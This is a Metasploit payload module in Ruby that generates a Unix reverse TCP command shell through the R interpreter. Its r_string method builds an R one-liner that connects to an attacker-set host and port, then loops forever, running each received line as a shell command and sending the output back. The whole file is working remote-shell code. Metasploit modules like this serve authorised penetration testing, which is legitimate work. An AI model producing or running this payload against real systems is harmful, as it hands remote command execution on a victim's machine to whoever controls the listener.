52 lines
1.4 KiB
Ruby
52 lines
1.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = 157
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Payload::R
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Unix Command Shell, Reverse TCP (via R)',
|
|
'Description' => 'Connect back and create a command shell via R',
|
|
'Author' => [ 'RageLtMan <rageltman[at]sempervictus>' ],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'R',
|
|
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
|
|
))
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('RPath', [true, 'The path to the R executable', 'R'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def generate(_opts = {})
|
|
return prepends(r_string)
|
|
end
|
|
|
|
def prepends(r_string)
|
|
return "#{datastore['RPath']} -e \"#{r_string}\""
|
|
end
|
|
|
|
def r_string
|
|
lhost = datastore['LHOST']
|
|
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
|
return "s<-socketConnection(host='#{lhost}',port=#{datastore['LPORT']}," +
|
|
"blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
|
|
"(pipe(readLines(s, 1))),s)}"
|
|
end
|
|
end
|